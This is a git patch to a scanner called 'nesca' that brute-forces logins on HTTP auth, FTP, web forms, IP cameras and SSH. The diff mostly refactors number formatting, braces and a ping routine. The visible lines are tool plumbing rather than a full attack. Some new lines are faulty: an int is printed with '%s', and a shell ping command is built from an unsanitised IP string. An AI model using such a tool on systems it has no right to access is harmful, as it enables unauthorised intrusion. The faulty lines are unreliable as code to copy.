From 29f3743919dbf55b17ffa7f5363202dd302f0d29 Mon Sep 17 00:00:00 2001 From: cora48 Date: Thu, 26 Feb 2015 17:20:37 +0300 Subject: [PATCH] eclipse commit, cp-refactoring --- .CheckKey_Th.cpp.LOCAL.2427.cpp.swp | Bin 16384 -> 0 bytes .CheckKey_Th.cpp.LOCAL.2593.cpp.swp | Bin 16384 -> 0 bytes .CheckKey_Th.cpp.LOCAL.2715.cpp.swp | Bin 16384 -> 0 bytes .CheckKey_Th.cpp.LOCAL.2915.cpp.swp | Bin 16384 -> 0 bytes .CheckKey_Th.cpp.REMOTE.2427.cpp.swp | Bin 16384 -> 0 bytes .CheckKey_Th.cpp.REMOTE.2915.cpp.swp | Bin 16384 -> 0 bytes .CheckKey_Th.cpp.swp | Bin 16384 -> 0 bytes connector.cpp | 100 ++++++++---- externFunctions.h | 3 +- finder.cpp | 69 ++++---- mainResources.h | 4 +- nesca.pro | 3 +- nesca_3.cpp | 19 ++- nesca_startModule.cpp | 233 +++++++++++++++++---------- 14 files changed, 278 insertions(+), 153 deletions(-) delete mode 100644 .CheckKey_Th.cpp.LOCAL.2427.cpp.swp delete mode 100644 .CheckKey_Th.cpp.LOCAL.2593.cpp.swp delete mode 100644 .CheckKey_Th.cpp.LOCAL.2715.cpp.swp delete mode 100644 .CheckKey_Th.cpp.LOCAL.2915.cpp.swp delete mode 100644 .CheckKey_Th.cpp.REMOTE.2427.cpp.swp delete mode 100644 .CheckKey_Th.cpp.REMOTE.2915.cpp.swp delete mode 100644 .CheckKey_Th.cpp.swp diff --git a/.CheckKey_Th.cpp.LOCAL.2427.cpp.swp b/.CheckKey_Th.cpp.LOCAL.2427.cpp.swp deleted file mode 100644 index 96cb604df7d58767e0d399ed0e517789fa481b6b..0000000000000000000000000000000000000000 GIT binary patch literal 0 HcmV?d00001 literal 16384 zcmeI3UyLM09mk710S7@u`4dTuwR7asz3$HJ?k$kav8U_o-0kM}pF49L$8t`3x@%_I zov9wWYvy+ExR{7fq7NG3fdmrcg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p.LOCAL.2593.cpp.swp b/.CheckKey_Th.cpp.LOCAL.2593.cpp.swp deleted file mode 100644 index ceb9b6cfddc8cb9c608c135618268a6b741b0fd3..0000000000000000000000000000000000000000 GIT binary patch literal 0 HcmV?d00001 literal 16384 zcmeI3TWllM8OIO11?mEYQd(3b)DtgS&7_H)WOqUJl5JDRyNNcp#$LADu(ifB$M!V# z88dV2B)hCC0Z%|5TD3e>q7vevTUwAnJOh;~A*fV|$MRIEt=gAfB=)JIm;ZNW#&P28 zg$0Qgol$u;+xvdX)MpqAgFsR6)sFSZ z>4}yvdRIx9Zw76VU++cv*}(0#g;Y_#xDp266)t{B5xGvj*c9&iNwHO}G;?mJlUrCW z&Mf4nj(qhHonFO&i8cxt1+JjLZS2t0gL-$SGJB@KH#`MzP-_kWUu($eun{Ke9A|4!m>O~Usl5ovr9Y`%;F zMggOMQNSo*6fg=H1&jhl0i%FXz$jo8_!ty$JjM#JTcZsCJpWJc|KGcvv3J4i;3e=3 z*aDm2Ah-`?z#l%#*gN32;3D`j_yJf4C2%8P;QiYe`zLq-Tm;_-4R8vqf-&$V@CEQb zHWA(ezXorB*T65pGvG%+0Rd`Y1l$Ea2mW;nY=Bq6&%pEGY48Ym2%G{Bf_uPU@P5Oe z!8_nJa1lHX+F%ZhfSbWh;8KRM_rP=DIC%5ZjQt9%gTLL3a=;7V=b#3@3~mRvg2!%R ztOHz71>XTjz+rG77y-}T$kHUzie0){7!tV)>Mmx1Cvr{#Mi*|^a2RI*>UT9O~*_aC2 z(_BsQajquuff8CmTG^&jokBjJWJdfnMd8n~+@=$b+7^<3WjMJ##LXCeIg2{LkRrO-(BF_chs>auMUDB;^83>HN@2)E*z z4#c9uNmF*ti4V~ck&xbA9YNt-1s`!YB zJCmr7x~aN%lh&rz;|A-o<#-+zgo6|^gP&vR5J&@T8k#$scSf{Y!Nz5lwN>#*7vr5) zvSeNJJGq>m4lEO|mYm9_!Gtgfv|4r3Is=RiWj@NOWoXjJ+Avh&dYe|Rc4e-7<@Wh??uk0u?pdejmkv$Y{Lx4IA=N#C z(y)UE`AC|xS}mSAfwa{st)g?w+iPm};qYNe=w)~)rWnscT%QZv zZ3U6oJK49!m*|bo-k}1ogx%pp$#ByXWWY9`t5jCPz+QBx`Q=M5&^)qk+jB)#IuYgt(~irV3BuIkJ66Ia1>V0waJO8fgHOp*_mBS%H`c8 z@|fV%G*okkXVkyGrpv+lf{^?{j=_cN(oX;2gBh#)qUDh-(e9|Nz8%bbZ35SEy5`a) zGd@q
Hi2qV-Ny?UNe0{qr51B-Cc@ug+!Kmo^azP@}C9YKC1>Z--jA2fy~b-jlr zbc}aYIEe-M9NHC~n<&OM@Wjt~7FObHM2vJbOW?Ayo~qbcO=wv1uxTY z>R0E7qcEN5oqCGsgifRF@BnT(qx=8g;Qst>+{@GbKW?M-@k^Ws;4D}H%ituK11CTp zjDvds<^3Wshf%;NU=%P47zK<1MggOMQNSo*6fg=H1^&+zpbe$n8&I?{r8i*){ztt~ z2)nd5#V7;Vy>~YJL8+8SsV~3pH~x*} dsT&@Hb?~409^de34^Zj{qqP5oM+|y*?!Sul0#*P3 diff --git a/.CheckKey_Th.cpp.LOCAL.2715.cpp.swp b/.CheckKey_Th.cpp.LOCAL.2715.cpp.swp deleted file mode 100644 index 644ffad324e09c85d501d9b33f71367afc5bec75..0000000000000000000000000000000000000000 GIT binary patch literal 0 HcmV?d00001 literal 16384 zcmeI3TWlj&8OKj|X^WwyTnZJH5GUShH4_p$&hEC7w^;~|cN1-H#NIC3bg{-W$Mz8W zj5~AeB)eT9QJyF~fS?aZtyJ;AwuK5%p9@Gx2#`R1q)(LqwJ$A5-6vEo|L@F<pJ$4P41E_7->soCLr5AY;D*8{o~`Q4V+xJPYdJv*0dp2l)DJ zjCFwvYTzs27&r><17qN+TN!%-d=p#(+h7Zv1GC@@;2yxh?>+$g;OF24@DuP9_yM>Z z900d~D+d|-JNO&;3-}Xw5&R5%7n}tZ@ELFgeg9YRDtH2Hf<9;h8W#?@`6H9bTw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Vi>H7(+$z=UY+eqK3)|Rg!hcXNVgS*IaAT4}6bf$*%P3 zNUeQQKCVlMYn7HW0Uwz>zqmr_SzKJ)ToS{+u6E?(UZ^CMyD1^bsUDOtBzIb9tOPmT zY29_F{MTz=-g@`yvqQdg+dWV4tk_Z_lqY-ArF)(z*UFAW(hbn=@Cx3K-<43$6}(Kp zrC*&Njly)Icj_sk8#>L7!vnbGjPCz`kNfj`a4%2y|G16T$B%Iyfb(D#tbo&C9-IPs zFbVDjl=oA>97X}7fKk9GU=%P47zK<1MggOMQNSo*6!;%gfHsu&Za~q-l-`6H`XBXT zG3?Ra6r&7a@7~$y6CG>~HRnXV*IWubf$i>H4?K0m&a;8!X_?Mx&HwEHv>Qb diff --git a/.CheckKey_Th.cpp.LOCAL.2915.cpp.swp b/.CheckKey_Th.cpp.LOCAL.2915.cpp.swp deleted file mode 100644 index 2252168b52089ec143d35924174e6172140800fa..0000000000000000000000000000000000000000 GIT binary patch literal 0 HcmV?d00001 literal 16384 zcmeI3TZ|i58OKi(dNH*0LZPA(;;d6eGuvHzy-A92x`D;(WLMc6Yo{S>gEgKxwuiOP zxHHGjZqf*e@8K|_MH3oKbQID%xrz?k%cAxncQK9<1WU2wfVQ|8~dJRKl=z{VGt+^zSgl3 zIepRgMgJNJ^R1vG@*DjqKNq;Yj*u$KmsZ2ztHQ-EDI(X&ms-NzI4QPj)mF~!c5{m> zrP;;Y^k)l4==2&Dm}sMbQQ#^H+`$e_7p5q|f$SLn*gdDNlGa2S1&jhl0i%FXz$jo8 zFbWt2i~|2}3aIXW_B9x_FEQ+idhqkvJsC}0#Y3K#{90!9I&fKk9G@Bt{`c#IWMZ=E&(@cci$|9|UF#(oce4qgIJ zfi18J4uS_j2K@1(jJ*zi2QGo{gYSS1PzE;x2Hv@YvA4ks;1c*YXo6E<4NQPff{%lD zu!-;+@JsLu@Cx`5cnW+EC?G%`jDdT>-QZt%XW?z|GI$RB5PSw?a0|GcVeBpN18^Mt`ZmU11smY+x1t>I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`sw8XQnjv-~uDRBv8~7f_lwImn zky@`s`KT@-u2ovj7}m(N@{22!p2fw*?vfbx6}6)^?%7gOxoZ-V7S+8H`s7Xvjg_E9 zcUpJdDF5}^7q?!&`s|=D-DbxVJS(=82<5Skbm^Wa$~Ce>k#qyJJG_MV<98+0V+AkM zZ|PU(hodl@=$(3sXopU{bQp<+`$@tu7VAk`n;%i z>Pvwqu<5+(v7?UI*`ZIKS?NbddV^wj>iu`$#y^of`@+MhHvT`}<7a%@iIe*AB<%uW vqhIflr5?o9=l7J4uP;<)L*eKLTk#Gz_PU1r=-V$Ee8`2G4nJcWe){rnja@Tr diff --git a/.CheckKey_Th.cpp.REMOTE.2915.cpp.swp b/.CheckKey_Th.cpp.REMOTE.2915.cpp.swp deleted file mode 100644 index f5341546763af36b7ce58c3fab653c34c96e0ab2..0000000000000000000000000000000000000000 GIT binary patch literal 0 HcmV?d00001 literal 16384 zcmeI3TWlOx8OKjk+Op76F6AmAjyF{_W9+rpNs8Fi0b_3xE56mcZU}B!&CZ?fOlDZjAq8|>0s84H6zQSg;M z8SoT12yl&w5ujJE7!aqL{e|>WPp5*wCf%xRq9E<`+ z0i%FXz$jo8FbWt2i~>dhqkvJsC}0$L0~ByP#tNvnN*e%p{-56ezjP~OzXCr3Pl1QQ z7T5#_!0jLde*ZSco(I1G7s1!Sm%#=of*Sw>uiV1e%iu|H5qt^M!5UZvW8nSZ-Qbm* z8T%P{4m=B<0p9@+gRcSw1gL@$a2t3B_$S_3co{qmz6~A+4}$x^-Czye2|fV+{1(Rk z1fB=afQ#S(&;lpG2)GH{2rg$BdkH)Sj)9-PnXw;(4e;VkC;u<<%h-_l8~7{u1NbF)8hjso1)KsU@Ii1Heg8-BTW|rK0bNiBG%g%)?Vn60bDrTV z6AIM{B_Gcp!O+2Hwp3c4Jy|SUQQ&UaM|4=E)c8>^D7Jj%2Xa+-$AXUZ<{af%*>$`Y z!d-elRSrjS;)p;WstF_C0O{4_=3&$8Tx6OP&zl7DzOxjn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qwX2yn!#L5%Qag6uVamCVoglz|JM2aPq4Os5qt``pa=@!0yqa|!3?+`(0;&Q zu*UxdcpCf@Yxt|+Iq)4o>;21sgB+L!r$Gip!Cl}Ea4R?h{)V;uU%{*3r{Ei43ET}1 zfomx1E8zFwm*7S4HSiViIQSCS0-K-&sBT4|E~S7{Kq;UUPzopolmbctrNDnd0a~1P zFJ@_xD;IPf|L>YkdktFWY7_xX1Q$z{hDNPYa%}9x*yzZKVKa3iHCh_OZ}Yxk%S;Yi zMrvf_c*$r_?6LCmco}O6Z9KSe>=j&WCYzb+Uf=ibI%D}-p5nzudET`+w&Zpk%1Dpx z{mXDiUv8|+<=f8C*Wa5MI31o0V5`24{~os3x=s5Ojy$}fH8QqA|m34R@vorZcm1eJtZJ zP6sv2HO+=c2R{1#k9A^fh8q_5((F`YVn;MODVlRlqk7+ITj&)TN}dFr8bnBGR_&b+ ztiEM4$U`w~6sA}dCuDNFGR}giaXRKhCkhUC0=LeMwgb1vfefniw5``Ry7$+5TVWwL zkoOEa^*o*&W~cEBW+9I`J?__CZ0tMb;H)z=W7^doEmitionChangeBA(QString::number(BrutingThrds)); } + void BConDec() { if(BrutingThrds > 0) @@ -58,6 +60,7 @@ void BConDec() stt->doEmitionChangeBA(QString::number(BrutingThrds)); } + bool debugWriteWait = false; void _DebugWriteHTMLToFile(char *request, char *buff) { @@ -79,6 +82,7 @@ void _DebugWriteHTMLToFile(char *request, char *buff) }; debugWriteWait = false; } + unsigned char tl(unsigned char d) { if(d >= 192 && d <= 223) @@ -90,7 +94,8 @@ unsigned char tl(unsigned char d) { return tolower(d); }; -}; +} + int recvWT( int Socket, char *Buffer, @@ -116,6 +121,7 @@ int recvWT( } return(n) ; /* trouble */ } + std::string toLowerStr(const char *str) { int tsz = strlen(str); @@ -141,7 +147,8 @@ std::string toLowerStr(const char *str) return tstr; }; return ""; -}; +} + int OpenConnection(SOCKET *sock, const char *hostname, int port) { struct hostent *host; @@ -234,7 +241,8 @@ void _baSSLWorker(char *ip, char *request, char *rvBuff) ERR_error_string(ERR_peek_last_error(), buff2); stt->doEmitionRedFoundData(QString(ip) + " SSL(InitCTX) 1:" + QString(buff1) + " 2:" + QString(buff2)); }; -}; +} + char *_getAttributeValue(char *str, char *val, char *ip, int port) { char res[1024] = {0}; @@ -276,7 +284,7 @@ char *_getAttributeValue(char *str, char *val, char *ip, int port) stt->doEmitionRedFoundData("[_getAttributeValue] Error retrieving value: \"" + QString(val) + "\" IP:" + QString(ip) + ":" + QString::number(port) + ""); return ""; }; -}; +} #define HASHLEN 16 typedef char HASH[HASHLEN]; @@ -363,7 +371,7 @@ char *_makeDigestResponse( char responseMD5[64] = {0}; CvtHex(response, responseMD5); return (char*)responseMD5; -}; +} lopaStr _BABrute(char *cookie, char *ip, int port, char *pathT, char *method) { @@ -846,6 +854,7 @@ lopaStr _BABrute(char *cookie, char *ip, int port, char *pathT, char *method) strcpy(lps.login, "UNKNOWN"); return lps; } + lopaStr Connector::_BALobby(char *cookie, char *ip, int port, char *path, char *method, char *data = NULL) { while(BrutingThrds >= gMaxBrutingThreads) Sleep(700); @@ -855,7 +864,7 @@ lopaStr Connector::_BALobby(char *cookie, char *ip, int port, char *path, char * BConDec(); return res; -}; +} lopaStr _FTPBrute(char *ip, int port, PathStr *ps) { @@ -1128,7 +1137,6 @@ lopaStr _FTPBrute(char *ip, int port, PathStr *ps) return lps; }; -#pragma region Get pasv Port char *ptr0 = strstr(recvBuff2, "227 "); if( ptr0 != NULL ) @@ -1271,7 +1279,8 @@ lopaStr _FTPBrute(char *ip, int port, PathStr *ps) isActive = 0; strcpy(lps.login, "UNKNOWN"); return lps; -}; +} + lopaStr Connector::_FTPLobby(char *ip, int port, PathStr *ps) { while(BrutingThrds >= gMaxBrutingThreads) Sleep(700); @@ -1286,7 +1295,7 @@ lopaStr Connector::_FTPLobby(char *ip, int port, PathStr *ps) BConDec(); return lps; -}; +} int _sslConnectTo(char *iph, int porth, char *requesth, conSTR *CSTR) { @@ -1427,11 +1436,13 @@ int _sslConnectTo(char *iph, int porth, char *requesth, conSTR *CSTR) stt->doEmitionRedFoundData(QString(iph) + ":" + QString(porth) + " SSL(InitCTX) 1:" + QString(buff1) + " 2:" + QString(buff2)); return -1; } -}; +} + int Connector::_EstablishSSLConnection(char *iph, int porth, char *requesth, conSTR *CSTR) { return _sslConnectTo(iph, porth, requesth, CSTR); -}; +} + void __deleteExcessiveNullBytes(char *buff, int sz) { int j = 0; @@ -1439,7 +1450,8 @@ void __deleteExcessiveNullBytes(char *buff, int sz) { if(buff[i] != 0) buff[j++] = buff[i]; }; -}; +} + struct linger linger = { 0 }; int Connector::_EstablishConnection(char *ip, int port, char *request, conSTR *CSTR, int force) { @@ -1677,7 +1689,7 @@ int Connector::_EstablishConnection(char *ip, int port, char *request, conSTR *C recvBuff2 = NULL; return -1; }; -}; +} #pragma region WF lopaStr _WFBrut(char *cookie, char *ip, int port, char *methodVal, char *actionVal, char *userVal, char *passVal, char *formVal) @@ -1967,7 +1979,8 @@ lopaStr _WFBrut(char *cookie, char *ip, int port, char *methodVal, char *actionV strcpy(lps.login, "UNKNOWN"); return lps; -}; +} + lopaStr Connector::_WFLobby(char *cookie, char *ip, int port, char *methodVal, char *actionVal, char *userVal, char *passVal, char *formVal) { while(BrutingThrds >= gMaxBrutingThreads) Sleep(700); @@ -1979,7 +1992,7 @@ lopaStr Connector::_WFLobby(char *cookie, char *ip, int port, char *methodVal, c BConDec(); return res; -}; +} #pragma region SSH int _sshConnect(char *user, char *pass, char *host, int port) @@ -2028,7 +2041,8 @@ int _sshConnect(char *user, char *pass, char *host, int port) ssh_free(my_ssh_session); ++ssh; return 0; -}; +} + char *_get_ssh_banner(char *ip, int port) { Connector con; @@ -2045,7 +2059,8 @@ char *_get_ssh_banner(char *ip, int port) CSTR.lowerBuff = NULL; }; return recvBuff; -}; +} + int check_ssh_pass(char *user, char *pass, char *userPass, char *host, int port, conSTR *CSTR, char *banner) { int res = -1; @@ -2069,7 +2084,8 @@ int check_ssh_pass(char *user, char *pass, char *userPass, char *host, int port, return 0; }; return res; -}; +} + int _EstablishSSHConnection(char *host, int port, conSTR *CSTR, char *banner) { CSTR->lowerBuff = NULL; @@ -2112,7 +2128,7 @@ int _EstablishSSHConnection(char *host, int port, conSTR *CSTR, char *banner) BConDec(); isActive = 0; return -1; -}; +} #pragma region IPCAMWeb int _webLoginSeq(char *request, char *login, char *pass, char *ip, int port, int passCounter, char *type, std::vector negVector) @@ -2207,7 +2223,8 @@ int _webLoginSeq(char *request, char *login, char *pass, char *ip, int port, int CSSOCKET(sock); return 0; -}; +} + lopaStr _IPCameraBrute(char *ip, int port, char *SPEC) { lopaStr lps; @@ -2508,7 +2525,8 @@ lopaStr _IPCameraBrute(char *ip, int port, char *SPEC) isActive = 0; strcpy(lps.login, "UNKNOWN"); return lps; -}; +} + lopaStr Connector::_IPCameraBLobby(char *ip, int port, char *SPEC) { while(BrutingThrds >= gMaxBrutingThreads) Sleep(1000); @@ -2518,8 +2536,10 @@ lopaStr Connector::_IPCameraBLobby(char *ip, int port, char *SPEC) BConDec(); return res; -}; +} + +#if defined(WIN32) || defined(_WIN32) || defined(__WIN32) && !defined(__CYGWIN__) int _pingMyTarget(char *ip) { HANDLE hIcmpFile; @@ -2554,7 +2574,7 @@ int _pingMyTarget(char *ip) dwRetVal = IcmpSendEcho(hIcmpFile, ipaddr, SendData, sizeof(SendData), - NULL, ReplyBuffer, ReplySize, gPingTimeout); + NULL, ReplyBuffer, ReplySize, gPingTimeout*1000); if (dwRetVal != 0) { PICMP_ECHO_REPLY pEchoReply = (PICMP_ECHO_REPLY)ReplyBuffer; struct in_addr ReplyAddr; @@ -2579,7 +2599,32 @@ int _pingMyTarget(char *ip) if(gDebugMode) stt->doEmitionRedFoundData("[Pinger] Call to IcmpSendEcho failed. IcmpSendEcho returned error: " + QString::number(GetLastError())); return 0; }; -}; +} +#else +int _pingMyTarget(char *ip) +{ + FILE *pipe = popen(("ping -w " + std::to_string(gPingTimeout) + " " + ip).c_str(), "r"); + if(!pipe) { + stt->doEmitionRedFoundData("Ping pipe failed: cannot open pipe."); + perror("pipe"); + return 0; + } + + char buffer[128] = {0}; + std::string result; + + while(!feof(pipe)) { + if(fgets(buffer, 128, pipe) != NULL){ + result += buffer; + } + } + pclose(pipe); + + if(strstr((char*)result.c_str(), "100% packet loss") != NULL) return 0; + return 1; +} +#endif + QString strIP; QString strPort; const char *buff1 = "GET / HTTP/1.1\r\nHost: "; @@ -2592,7 +2637,8 @@ int Connector::_SSHLobby(char *ip, int port, conSTR *CSTR) { return _EstablishSSHConnection(ip, port, CSTR, banner); }; -}; +} + int Connector::_ConnectToPort(char *ip, const char *portC, char *hl) { if(gPingNScan) @@ -2644,4 +2690,4 @@ int Connector::_ConnectToPort(char *ip, const char *portC, char *hl) CSTR.lowerBuff = NULL; }; strFlag = 1; -}; +} diff --git a/externFunctions.h b/externFunctions.h index 7bb5d18..60eaab1 100644 --- a/externFunctions.h +++ b/externFunctions.h @@ -1,7 +1,6 @@ extern std::string toLowerStr(const char *str); extern int recvS(int lSock, char *recvBuffT, int len, int mode); extern int sendS(int lSock, char *msg, int len, int mode); -extern std::string xcode(LPCSTR src, UINT srcCodePage, UINT dstCodePage); extern void UserNickInit(SOCKET lSock); extern void GetNicks(); extern int startScan(char* argv); @@ -15,4 +14,4 @@ extern char *_findFirst(char *str, char *delim); extern void nCleanup(); extern void getSubStr(char *src, char *startStr, char *endStr, char *dest, int szDest); extern void getSubStrEx(char *src, char *startStr, char *endStr, char *dest, int szDest); - +extern std::string xcode(LPCSTR src, UINT srcCodePage, UINT dstCodePage); diff --git a/finder.cpp b/finder.cpp index 0660acb..393edb8 100644 --- a/finder.cpp +++ b/finder.cpp @@ -1099,7 +1099,6 @@ void _specWFBrute(char *ip, int port, char *hl, char *buff, int flag, char *path }; isActive = 1; - char b[16] = {0}; char methodVal[128] = {0}; char actionVal[512] = {0}; char userVal[128] = {0}; @@ -1109,7 +1108,8 @@ void _specWFBrute(char *ip, int port, char *hl, char *buff, int flag, char *path char formVal[128] = {0}; int fbsz = 0; char tport[16] = {0}; - strcpy(tport, itoa(port, b, 10)); + + sprintf(tport, "%d", port); std::vector inputVec; if(fBlock != NULL) { @@ -1264,10 +1264,8 @@ void _specWEBIPCAMBrute(char *ip, int port, char *hl, char *finalstr, int flag, ZeroMemory(lps.login, sizeof(lps.login)); ZeroMemory(lps.pass, sizeof(lps.pass)); ZeroMemory(lps.other, sizeof(lps.other)); - char tport[32] = {0}; - char b[16] = {0}; - strcpy(tport, ":"); - strcat(tport, itoa(port, b, 10)); + char tport[32] = {0}; + sprintf(tport, ":%d", port); Connector con; lps = con._IPCameraBLobby(ip, port, SPEC); @@ -1286,10 +1284,8 @@ void _specBrute(char *cookie, char *ip, int port, char *hl, char *finalstr, int ZeroMemory(lps.pass, sizeof(lps.pass)); ZeroMemory(lps.other, sizeof(lps.other)); char temp[64] = {0}; - char tport[32] = {0}; - char b[16] = {0}; - strcpy(tport, ":"); - strcat(tport, itoa(port, b, 10)); + char tport[32] = {0}; + sprintf(tport, ":%d", port); Connector con; if(strcmp(comment, "[DIGEST]") == 0) lps = con._BALobby(cookie, ip, port, path, "[DIGEST]", data); @@ -1434,24 +1430,30 @@ void _saveSSH(char *ip, int port, int recd, char *buffcpy) int gsz = ptr1 - buffcpy; strncpy(goodStr, buffcpy, gsz); if(strlen(ptr1 + 3) > 0) strcpy(banner, ptr1 + 3); - strcpy(logEmit, "[SSH] "); - strcpy(log, "[SSH] "); - strcat(log, goodStr); - strcat(log, ":"); - strcat(log, itoa(port, b, 10)); - strcat(log, ""); - strcat(log, "; Banner: "); - strcat(log, banner); - strcat(log, ""); + char portString[16] = {0}; + sprintf(portString, "%d", port); + sprintf(log, "[SSH] %s:%d ; Banner: %s ", goodStr, port, banner); + sprintf(log, "[SSH] %s:%d ", goodStr, port, banner); + +// strcpy(log, "[SSH] "); +// strcat(log, goodStr); +// strcat(log, ":"); +// strcat(log, itoa(port, b, 10)); +// strcat(log, ""); +// strcat(log, "; Banner: "); +// strcat(log, banner); +// strcat(log, ""); ++PieSSH; - strcat(logEmit, ""); - strcat(logEmit, goodStr); - strcat(logEmit, ":"); - strcat(logEmit, itoa(port, b, 10)); - strcat(logEmit, ""); - fputsf (ip, itoa(port, b, 10), log, -22, "SSH"); +// strcpy(logEmit, "[SSH] "); +// strcat(logEmit, ""); +// strcat(logEmit, goodStr); +// strcat(logEmit, ":"); +// strcat(logEmit, itoa(port, b, 10)); +// strcat(logEmit, ""); + + fputsf (ip, portString, log, -22, "SSH"); char loginSSH[128] = {0}; char passSSH[128] = {0}; char *ptrl1 = strstr(buffcpy, ":"); @@ -1548,7 +1550,7 @@ int Lexems::_filler(int p, char* buffcpy, char* ip, int recd, Lexems *lx, char * if(strstr(buffcpy, "Set-Cookie:") != NULL) strncpy(ps.cookie, _getAttribute(buffcpy, "Set-Cookie:"), COOKIE_MAX_SIZE); }; - strcpy(port, itoa(p, b, 10)); + sprintf(port, "%d", p); if(strstr(finalstr, ps.headr) == NULL) strcat(finalstr, ps.headr); if(flag == -1 || flag == 6 || strstr(finalstr, "[IGNR_ADDR]") != NULL) return -1; @@ -1943,6 +1945,7 @@ int redirectReconnect(char *cookie, char *ip, int port, char *str, Lexems *ls, P strcpy(tempPath, "/"); }; + strcpy(mes, rbuff1); if(tempPath[0] != '/') strcat(mes, "/"); strcat(mes, tempPath); @@ -1951,7 +1954,8 @@ int redirectReconnect(char *cookie, char *ip, int port, char *str, Lexems *ls, P if(tempPort != 80){ strcat(mes, ":"); char tbuff[16] = {0}; - strcat(mes, itoa(tempPort, tbuff, 10)); + sprintf(tbuff, "%s", tempPort); + strcat(mes, tbuff); } if(strlen(cookie) != 0) { @@ -2083,7 +2087,8 @@ int redirectReconnect(char *cookie, char *ip, int port, char *str, Lexems *ls, P if(tempPort != 80){ strcat(mes, ":"); char tbuff[16] = {0}; - strcat(mes, itoa(tempPort, tbuff, 10)); + sprintf(tbuff, "%s", tempPort); + strcat(mes, tbuff); } if(strlen(cookie) != 0) { @@ -2170,7 +2175,8 @@ int redirectReconnect(char *cookie, char *ip, int port, char *str, Lexems *ls, P if(tempPort != 80){ strcat(mes, ":"); char tbuff[16] = {0}; - strcat(mes, itoa(tempPort, tbuff, 10)); + sprintf(tbuff, "%s", tempPort); + strcat(mes, tbuff); } if(strlen(cookie) != 0) { @@ -2263,7 +2269,8 @@ int redirectReconnect(char *cookie, char *ip, int port, char *str, Lexems *ls, P if(tempPort != 80){ strcat(mes, ":"); char tbuff[16] = {0}; - strcat(mes, itoa(tempPort, tbuff, 10)); + sprintf(tbuff, "%s", tempPort); + strcat(mes, tbuff); } if(strlen(cookie) != 0) { @@ -3042,4 +3049,4 @@ int Lexems::_header(char *ip, int port, char str[], Lexems *l, PathStr *ps, std: strcpy(ps->path, "/"); return 0; -}; \ No newline at end of file +}; diff --git a/mainResources.h b/mainResources.h index f418e59..563697b 100644 --- a/mainResources.h +++ b/mainResources.h @@ -40,8 +40,8 @@ typedef void* HANDLE; typedef unsigned int UINT; typedef const char * LPCSTR; typedef int SOCKET; -typedef hostent HOSTENT; -typedef struct linger LINGER; +typedef hostent HOSTENT; +typedef struct linger LINGER; typedef int BOOL; #define INVALID_SOCKET (SOCKET)(~0) diff --git a/nesca.pro b/nesca.pro index 9edf02e..83fa075 100644 --- a/nesca.pro +++ b/nesca.pro @@ -36,7 +36,8 @@ SOURCES +=\ piestat.cpp \ progressbardrawer.cpp \ STh.cpp \ - vercheckerthread.cpp + vercheckerthread.cpp \ + finder.cpp HEADERS += ActivityDrawerTh_HorNet.h \ diff --git a/nesca_3.cpp b/nesca_3.cpp index 0fcade7..4577df6 100644 --- a/nesca_3.cpp +++ b/nesca_3.cpp @@ -20,8 +20,8 @@ #include #include #include -#include -#include +#include +#include #include #include #include @@ -1911,12 +1911,12 @@ void nesca_3::slotSaveImage(QAction *qwe) sceneGrid->render(&painter, QRect(ax, ay, w, h)); sceneGrid2->render(&painter, QRect(ax, ay, w, h)); - QString filename = QFileDialog::getSaveFileName( + QString filename = QFileDialog::getSaveFileName( this, tr("Save image"), QDir::currentPath() + "/" + fn, ".png", - &tr("*.png") + (QString *)"*.png" ); if(filename != "") image.save(filename + ".png"); } @@ -1939,7 +1939,7 @@ void nesca_3::slotSaveImage(QAction *qwe) tr("Save image"), QDir::currentPath() + "/" + fn, ".png", - &tr("*.png") + (QString *)"*.png" ); if(filename != "") image.save(filename + ".png"); }; @@ -3545,11 +3545,14 @@ void writeDebugFile(QString str) char b[8] = {0}; char fn[64] = {0}; strcpy(fn, "./output_"); - strcat(fn, itoa(qd.currentDate().day(), b, 10)); + sprintf(b, "%d", qd.currentDate().day()); + strcat(fn, b); strcat(fn, "_"); - strcat(fn, itoa(qd.currentDate().month(), b, 10)); + sprintf(b, "%d", qd.currentDate().month()); + strcat(fn, b); strcat(fn, "_"); - strcat(fn, itoa(qd.currentDate().year(), b, 10)); + sprintf(b, "%d", qd.currentDate().year()); + strcat(fn, b); strcat(fn, ".txt"); FILE *df = fopen(fn, "a"); diff --git a/nesca_startModule.cpp b/nesca_startModule.cpp index 5aafbae..47ff76d 100644 --- a/nesca_startModule.cpp +++ b/nesca_startModule.cpp @@ -29,7 +29,7 @@ int MaxPass = 0, MaxLogin = 0, MaxTags = 0, MaxWFLogin = 0, MaxWFPass = 0, MaxSS int ipsstart[4], ipsend[4], overallPorts, flCounter, octet[4]; unsigned char **ipsstartfl = NULL, **ipsendfl = NULL, **starterIP = NULL; -int gPingTimeout = 2000; +int gPingTimeout = 1; double ips = 0; char top_level_domain[128] = {0}; char endIP2[128] = {0}; @@ -116,7 +116,8 @@ void SaveErrorLog(char *sender, char *MesSent, char *ReplRecv) delete []totalErrLog; totalErrLog = NULL; }; -}; +} + QString GetNSErrorDefinition(char *str, char *elem) { char *temp = strstr(str, elem); @@ -134,30 +135,42 @@ QString GetNSErrorDefinition(char *str, char *elem) return QString(definition); } else return QString("No definition found!"); -}; +} + void ConInc() { - __asm - { - lock inc cons; - }; +#if defined(WIN32) || defined(_WIN32) || defined(__WIN32) && !defined(__CYGWIN__) +__asm + { + lock inc cons; + }; +#else + asm("lock incl cons"); +#endif stt->doEmitionThreads(QString::number(cons) + "/" + QString::number(gThreads)); -}; +} + void ConDec() { if(cons > 0) { - __asm - { - lock dec cons; - }; +#if defined(WIN32) || defined(_WIN32) || defined(__WIN32) && !defined(__CYGWIN__) + __asm + { + lock dec cons; + }; +#else + asm("lock decl cons"); +#endif + }; stt->doEmitionThreads(QString::number(cons) + "/" + QString::number(gThreads)); -}; +} + void _SaveBackupToFile() { char saveStr[512] = {0}; @@ -321,32 +334,20 @@ void _SaveBackupToFile() strcat(saveStr, "\n"); strcat(saveBuffer, saveStr); ZeroMemory(saveStr, sizeof(saveStr)); - - strcpy(saveStr, "[PING_TO]:"); - char tb[16] = {0}; - strcat(saveStr, itoa(gPingTimeout, tb, 10)); - strcat(saveStr, "\n"); + + sprintf(saveStr, "[PING_TO]: %d\n", gPingTimeout); strcat(saveBuffer, saveStr); ZeroMemory(saveStr, sizeof(saveStr)); - strcpy(saveStr, "[THREAD_DELAY]:"); - ZeroMemory(tb, 16); - strcat(saveStr, itoa(gThreadDelay, tb, 10)); - strcat(saveStr, "\n"); + sprintf(saveStr, "[THREAD_DELAY]: %d\n", gThreadDelay); strcat(saveBuffer, saveStr); 